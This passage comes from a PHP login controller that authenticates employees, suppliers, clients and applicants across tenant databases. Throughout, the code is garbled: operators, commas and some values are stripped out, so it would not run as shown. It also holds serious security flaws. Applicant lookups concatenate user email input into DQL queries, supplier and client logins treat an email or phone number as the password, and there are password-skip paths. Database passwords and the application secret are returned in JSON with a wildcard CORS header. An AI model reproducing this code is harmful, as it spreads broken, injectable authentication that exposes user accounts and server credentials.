  1460.                             return new JsonResponse(array(
  1461.                                 'uid' => $session->get(UserConstants::USER_ID),
  1462.                                 'session' => $session,
  1463.                                 'success' => false,
  1464.                                 'errorStr' => $message,
  1465.                                 'session_data' => [],
  1466.                             ));
  1467.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1468.                             //                    return $response;
  1469.                         }
  1470.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1471.                             "message" => $message,
  1472.                             'page_title' => "Login",
  1473.                             'gocList' => $gocDataList,
  1474.                             'gocId' => $gocId
  1475.                         ));
  1476.                     }
  1477.                     if ($user) {
  1478.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1479.                             $message "Sorry, Your Account is Deactivated";
  1480.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1481.                                 return new JsonResponse(array(
  1482.                                     'uid' => $session->get(UserConstants::USER_ID),
  1483.                                     'session' => $session,
  1484.                                     'success' => false,
  1485.                                     'errorStr' => $message,
  1486.                                     'session_data' => [],
  1487.                                 ));
  1488.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1489.                                 //                    return $response;
  1490.                             }
  1491.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1492.                                 "message" => $message,
  1493.                                 'page_title' => "Login",
  1494.                                 'gocList' => $gocDataList,
  1495.                                 'gocId' => $gocId
  1496.                             ));
  1497.                         }
  1498.                     }
  1499.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1500.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1501.                         $message "Wrong Email/Password";
  1502.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1503.                             return new JsonResponse(array(
  1504.                                 'uid' => $session->get(UserConstants::USER_ID),
  1505.                                 'session' => $session,
  1506.                                 'success' => false,
  1507.                                 'errorStr' => $message,
  1508.                                 'session_data' => [],
  1509.                             ));
  1510.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1511.                             //                    return $response;
  1512.                         }
  1513.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1514.                             "message" => $message,
  1515.                             'page_title' => "Login",
  1516.                             'gocList' => $gocDataList,
  1517.                             'gocId' => $gocId
  1518.                         ));
  1519.                     }
  1520.                 }
  1521.                 if ($user) {
  1522.                     //set cookie
  1523.                     if ($remember_me == 1)
  1524.                         $session->set('REMEMBERME'1);
  1525.                     else
  1526.                         $session->set('REMEMBERME'0);
  1527.                     $userType $user->getUserType();
  1528.                     // Entity User
  1529.                     $userId $user->getUserId();
  1530.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1531.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1532.                     $session->set('firstLogin'$firstLogin);
  1533.                     $session->set(UserConstants::USER_TYPE$userType);
  1534.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1535.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1536.                     $session->set('oAuthImage'$user->getOAuthImage());
  1537.                     $session->set(UserConstants::USER_NAME$user->getName());
  1538.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1539.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1540.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1541.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1542.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1543.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1544.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1545.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1546.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1547.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1548.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1549.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1550.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1551.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1552.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1553.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1554.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1555.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1556.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1557.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1558.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1559.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1560.                     $route_list_array = [];
  1561.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1562.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1563.                     $loginID EntityUserM::addEntityUserLoginLog(
  1564.                         $em_goc,
  1565.                         $userId,
  1566.                         $request->server->get("REMOTE_ADDR"),
  1567.                         0,
  1568.                         $deviceId,
  1569.                         $oAuthData['token'],
  1570.                         $oAuthData['type']
  1571.                     );
  1572.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1573.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1574.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1575.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1576.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1577.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1578.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1579.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1580.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1581.                     $appIdList json_decode($user->getUserAppIdList());
  1582.                     if ($appIdList == null)
  1583.                         $appIdList = [];
  1584.                     $companyIdListByAppId = [];
  1585.                     $companyNameListByAppId = [];
  1586.                     $companyImageListByAppId = [];
  1587.                     if (!in_array($user->getUserAppId(), $appIdList))
  1588.                         $appIdList[] = $user->getUserAppId();
  1589.                     foreach ($appIdList as $currAppId) {
  1590.                         if ($currAppId == $user->getUserAppId()) {
  1591.                             foreach ($company_id_list as $index_company => $company_id) {
  1592.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1593.                                 $app_company_index $currAppId '_' $company_id;
  1594.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1595.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1596.                             }
  1597.                         } else {
  1598.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1599.                                 $this->getDoctrine()->getManager('company_group'),
  1600.                                 $gocEnabled,
  1601.                                 $currAppId
  1602.                             );
  1603.                             if (!empty($dataToConnect)) {
  1604.                                 $connector $this->container->get('application_connector');
  1605.                                 $connector->resetConnection(
  1606.                                     'default',
  1607.                                     $dataToConnect['dbName'],
  1608.                                     $dataToConnect['dbUser'],
  1609.                                     $dataToConnect['dbPass'],
  1610.                                     $dataToConnect['dbHost'],
  1611.                                     $reset true
  1612.                                 );
  1613.                                 $em $this->getDoctrine()->getManager();
  1614.                                 $companyList Company::getCompanyListWithImage($em);
  1615.                                 foreach ($companyList as $c => $dta) {
  1616.                                     //                                $company_id_list[]=$c;
  1617.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1618.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1619.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1620.                                     $app_company_index $currAppId '_' $c;
  1621.                                     $company_locale $companyList[$c]['locale'];
  1622.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1623.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1624.                                 }
  1625.                             }
  1626.                         }
  1627.                     }
  1628.                     $session->set('appIdList'$appIdList);
  1629.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1630.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1631.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1632.                     $branchIdList json_decode($user->getUserBranchIdList());
  1633.                     $branchId $user->getUserBranchId();
  1634.                     $session->set('branchIdList'$branchIdList);
  1635.                     $session->set('branchId'$branchId);
  1636.                     if ($user->getAllModuleAccessFlag() == 1)
  1637.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1638.                     else
  1639.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1640.                     $session_data = array(
  1641.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1642.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1643.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1644.                         'firstLogin' => $firstLogin,
  1645.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1646.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1647.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1648.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1649.                         'oAuthImage' => $session->get('oAuthImage'),
  1650.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1651.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1652.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1653.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1654.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1655.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1656.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1657.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1658.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1659.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1660.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1661.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1662.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1663.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1664.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1665.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1666.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1667.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1668.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1669.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1670.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1671.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1672.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1673.                         //new
  1674.                         'appIdList' => $session->get('appIdList'),
  1675.                         'branchIdList' => $session->get('branchIdList'null),
  1676.                         'branchId' => $session->get('branchId'null),
  1677.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1678.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1679.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1680.                     );
  1681.                     $session_data $this->filterClientSessionData($session_data);
  1682.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1683.                     $token $tokenData['token'];
  1684.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1685.                         $session->set('remoteVerified'1);
  1686.                         $response = new JsonResponse(array(
  1687.                             'token' => $token,
  1688.                             'uid' => $session->get(UserConstants::USER_ID),
  1689.                             'session' => $session,
  1690.                             'success' => true,
  1691.                             'session_data' => $session_data,
  1692.                         ));
  1693.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1694.                         return $response;
  1695.                     }
  1696.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1697.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1698.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1699.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1700.                                 $redPath parse_url($redPHP_URL_PATH);
  1701.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1702.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1703.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false) {
  1704.                                     return $this->redirect($red);
  1705.                                 }
  1706.                             }
  1707.                         } else {
  1708.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1709.                         }
  1710.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1711.                         return $this->redirectToRoute("dashboard");
  1712.                     else
  1713.                         return $this->redirectToRoute($user->getDefaultRoute());
  1714. //                    if ($request->server->has("HTTP_REFERER")) {
  1715. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1716. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1717. //                        }
  1718. //                    }
  1719. //
  1720. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1721. //                    if ($request->request->has('referer_path')) {
  1722. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1723. //                            return $this->redirect($request->request->get('referer_path'));
  1724. //                        }
  1725. //                    }
  1726.                     //                    if($request->request->has('gocId')
  1727.                 }
  1728.             } else {
  1729.                 if ($specialLogin == 1) {
  1730.                 } else if (strpos($uname'SID-') !== false) {
  1731.                     $specialLogin 1;
  1732.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1733.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1734.                     //*** supplier id will be last 6 DIgits
  1735.                     $str_app_id_supplier_id substr($uname4);
  1736.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1737.                     {
  1738.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1739.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1740.                     }
  1741.                     //                else
  1742.                     //                {
  1743.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1744.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1745.                     //                }
  1746.                 } else if (strpos($uname'CID-') !== false) {
  1747.                     $specialLogin 1;
  1748.                     $userType UserConstants::USER_TYPE_CLIENT;
  1749.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1750.                     //*** supplier id will be last 6 DIgits
  1751.                     $str_app_id_client_id substr($uname4);
  1752.                     $clientId = ($str_app_id_client_id) % 1000000;
  1753.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1754.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1755.                     $specialLogin 1;
  1756.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1757.                     $isApplicantLogin 1;
  1758.                     if ($oAuthData) {
  1759.                         $email $oAuthData['email'];
  1760.                         $userName $email;
  1761. //                        $userName = explode('@', $email)[0];
  1762. //                        $userName = str_split($userName);
  1763. //                        $userNameArr = $userName;
  1764.                     } else if (strpos($uname'APP-') !== false) {
  1765.                         $email $uname;
  1766.                         $userName substr($email4);
  1767. //                        $userNameArr = str_split($userName);
  1768. //                        $generatedIdFromAscii = 0;
  1769. //                        foreach ($userNameArr as $item) {
  1770. //                            $generatedIdFromAscii += ord($item);
  1771. //                        }
  1772. //
  1773. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1774. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1775. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1776.                     } else {
  1777.                         $email $uname;
  1778.                         $userName $uname;
  1779. //                            $userName = substr($email, 4);
  1780. //                        $userName = explode('@', $email)[0];
  1781. //                            $userNameArr = str_split($userName);
  1782.                     }
  1783.                 }
  1784.                 $data = array();
  1785.                 if ($hasGoc == 1) {
  1786.                     if ($gocId != && $gocId != "") {
  1787. //                        $gocId = $request->request->get('gocId');
  1788.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1789.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1790.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1791.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1792.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1793.                         $connector $this->container->get('application_connector');
  1794.                         $connector->resetConnection(
  1795.                             'default',
  1796.                             $gocDataList[$gocId]['dbName'],
  1797.                             $gocDataList[$gocId]['dbUser'],
  1798.                             $gocDataList[$gocId]['dbPass'],
  1799.                             $gocDataList[$gocId]['dbHost'],
  1800.                             $reset true
  1801.                         );
  1802.                     } else if ($appId != && $appId != "") {
  1803.                         $gocId $request->request->get('gocId');
  1804.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1805.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1806.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1807.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1808.                         $gocId $gocDataListByAppId[$appId]['id'];
  1809.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1810.                         $connector $this->container->get('application_connector');
  1811.                         $connector->resetConnection(
  1812.                             'default',
  1813.                             $gocDbName,
  1814.                             $gocDbUser,
  1815.                             $gocDbPass,
  1816.                             $gocDbHost,
  1817.                             $reset true
  1818.                         );
  1819.                     }
  1820.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1821.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1822.                     if ($gocId != && $gocId != "") {
  1823.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1824.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1825.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1826.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1827.                         $connector $this->container->get('application_connector');
  1828.                         $connector->resetConnection(
  1829.                             'default',
  1830.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1831.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1832.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1833.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1834.                             $reset true
  1835.                         );
  1836.                     }
  1837.                 }
  1838.                 $session $request->getSession();
  1839.                 $em $this->getDoctrine()->getManager();
  1840.                 //will work on later on supplier login
  1841.                 if ($specialLogin == 1) {
  1842.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1843.                         //validate supplier
  1844.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1845.                             ->findOneBy(
  1846.                                 array(
  1847.                                     'supplierId' => $supplierId
  1848.                                 )
  1849.                             );
  1850.                         if (!$supplier) {
  1851.                             $message "Wrong UserName";
  1852.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1853.                                 return new JsonResponse(array(
  1854.                                     'uid' => $session->get(UserConstants::USER_ID),
  1855.                                     'session' => $session,
  1856.                                     'success' => false,
  1857.                                     'errorStr' => $message,
  1858.                                     'session_data' => [],
  1859.                                 ));
  1860.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1861.                                 //                    return $response;
  1862.                             }
  1863.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1864.                                 "message" => $message,
  1865.                                 'page_title' => "Login",
  1866.                                 'gocList' => $gocDataList,
  1867.                                 'gocId' => $gocId
  1868.                             ));
  1869.                         }
  1870.                         if ($supplier) {
  1871.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1872.                                 $message "Sorry, Your Account is Deactivated";
  1873.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1874.                                     return new JsonResponse(array(
  1875.                                         'uid' => $session->get(UserConstants::USER_ID),
  1876.                                         'session' => $session,
  1877.                                         'success' => false,
  1878.                                         'errorStr' => $message,
  1879.                                         'session_data' => [],
  1880.                                     ));
  1881.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1882.                                     //                    return $response;
  1883.                                 }
  1884.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1885.                                     "message" => $message,
  1886.                                     'page_title' => "Login",
  1887.                                     'gocList' => $gocDataList,
  1888.                                     'gocId' => $gocId
  1889.                                 ));
  1890.                             }
  1891.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1892.                                 //pass ok proceed
  1893.                             } else {
  1894.                                 if ($skipPassword == 1) {
  1895.                                 } else {
  1896.                                     $message "Wrong Email/Password";
  1897.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1898.                                         return new JsonResponse(array(
  1899.                                             'uid' => $session->get(UserConstants::USER_ID),
  1900.                                             'session' => $session,
  1901.                                             'success' => false,
  1902.                                             'errorStr' => $message,
  1903.                                             'session_data' => [],
  1904.                                         ));
  1905.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1906.                                         //                    return $response;
  1907.                                     }
  1908.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1909.                                         "message" => $message,
  1910.                                         'page_title' => "Login",
  1911.                                         'gocList' => $gocDataList,
  1912.                                         'gocId' => $gocId
  1913.                                     ));
  1914.                                 }
  1915.                             }
  1916.                             $jd = [$supplier->getCompanyId()];
  1917.                             if ($jd != null && $jd != '' && $jd != [])
  1918.                                 $company_id_list $jd;
  1919.                             else
  1920.                                 $company_id_list = [1];
  1921.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1922.                             foreach ($company_id_list as $c) {
  1923.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1924.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1925.                             }
  1926.                             $user $supplier;
  1927.                         }
  1928.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1929.                         //validate supplier
  1930.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1931.                             ->findOneBy(
  1932.                                 array(
  1933.                                     'clientId' => $clientId
  1934.                                 )
  1935.                             );
  1936.                         if (!$client) {
  1937.                             $message "Wrong UserName";
  1938.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1939.                                 return new JsonResponse(array(
  1940.                                     'uid' => $session->get(UserConstants::USER_ID),
  1941.                                     'session' => $session,
  1942.                                     'success' => false,
  1943.                                     'errorStr' => $message,
  1944.                                     'session_data' => [],
  1945.                                 ));
  1946.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1947.                                 //                    return $response;
  1948.                             }
  1949.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1950.                                 "message" => $message,
  1951.                                 'page_title' => "Login",
  1952.                                 'gocList' => $gocDataList,
  1953.                                 'gocId' => $gocId
  1954.                             ));
  1955.                         }
  1956.                         if ($client) {
  1957.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1958.                                 $message "Sorry, Your Account is Deactivated";
  1959.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1960.                                     return new JsonResponse(array(
  1961.                                         'uid' => $session->get(UserConstants::USER_ID),
  1962.                                         'session' => $session,
  1963.                                         'success' => false,
  1964.                                         'errorStr' => $message,
  1965.                                         'session_data' => [],
  1966.                                     ));
  1967.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1968.                                     //                    return $response;
  1969.                                 }
  1970.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1971.                                     "message" => $message,
  1972.                                     'page_title' => "Login",
  1973.                                     'gocList' => $gocDataList,
  1974.                                     'gocId' => $gocId
  1975.                                 ));
  1976.                             }
  1977.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  1978.                                 //pass ok proceed
  1979.                             } else {
  1980.                                 if ($skipPassword == 1) {
  1981.                                 } else {
  1982.                                     $message "Wrong Email/Password";
  1983.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1984.                                         return new JsonResponse(array(
  1985.                                             'uid' => $session->get(UserConstants::USER_ID),
  1986.                                             'session' => $session,
  1987.                                             'success' => false,
  1988.                                             'errorStr' => $message,
  1989.                                             'session_data' => [],
  1990.                                         ));
  1991.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1992.                                         //                    return $response;
  1993.                                     }
  1994.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1995.                                         "message" => $message,
  1996.                                         'page_title' => "Login",
  1997.                                         'gocList' => $gocDataList,
  1998.                                         'gocId' => $gocId
  1999.                                     ));
  2000.                                 }
  2001.                             }
  2002.                             $jd = [$client->getCompanyId()];
  2003.                             if ($jd != null && $jd != '' && $jd != [])
  2004.                                 $company_id_list $jd;
  2005.                             else
  2006.                                 $company_id_list = [1];
  2007.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2008.                             foreach ($company_id_list as $c) {
  2009.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2010.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2011.                             }
  2012.                             $user $client;
  2013.                         }
  2014.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2015.                         $em $this->getDoctrine()->getManager('company_group');
  2016.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2017.                         if ($oAuthData) {
  2018.                             $oAuthEmail $oAuthData['email'];
  2019.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2020.                             $user $applicantRepo->findOneBy(['oAuthEmail' => $oAuthEmail]);
  2021.                             if (!$user) {
  2022.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2023.                                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  2024.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  2025.                                     ->getQuery()
  2026.                                     ->getResult();
  2027.                                 if (!empty($usersQueried))
  2028.                                     $user $usersQueried[0];
  2029.                             }
  2030.                             if (!$user)
  2031.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2032.                         } else {
  2033.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2034.                             if (!$user)
  2035.                                 $user $applicantRepo->findOneBy(['oAuthEmail' => $email]);
  2036.                             if (!$user) {
  2037.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2038.                                     ->where("A.email like '%$email%'")
  2039.                                     ->getQuery()
  2040.                                     ->getResult();
  2041.                                 if (!empty($usersQueried))
  2042.                                     $user $usersQueried[0];
  2043.                             }
  2044.                             if (!$user)
  2045.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2046.                         }
  2047.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2048. //                        if($systemType=='_BUDDYBEE_')
  2049. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2050.                         if (!$user) {
  2051.                             $message "We could not find your username or email";
  2052.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2053.                                 return new JsonResponse(array(
  2054.                                     'uid' => $session->get(UserConstants::USER_ID),
  2055.                                     'session' => $session,
  2056.                                     'success' => false,
  2057.                                     'errorStr' => $message,
  2058.                                     'session_data' => [],
  2059.                                 ));
  2060.                             }
  2061.                             if ($systemType == '_BUDDYBEE_')
  2062.                                 return $this->redirectToRoute("applicant_login", [
  2063.                                     "message" => $message,
  2064.                                     "errorField" => 'username',
  2065.                                 ]);
  2066.                             else if ($systemType == '_CENTRAL_')
  2067.                                 return $this->redirectToRoute("central_login", [
  2068.                                     "message" => $message,
  2069.                                     "errorField" => 'username',
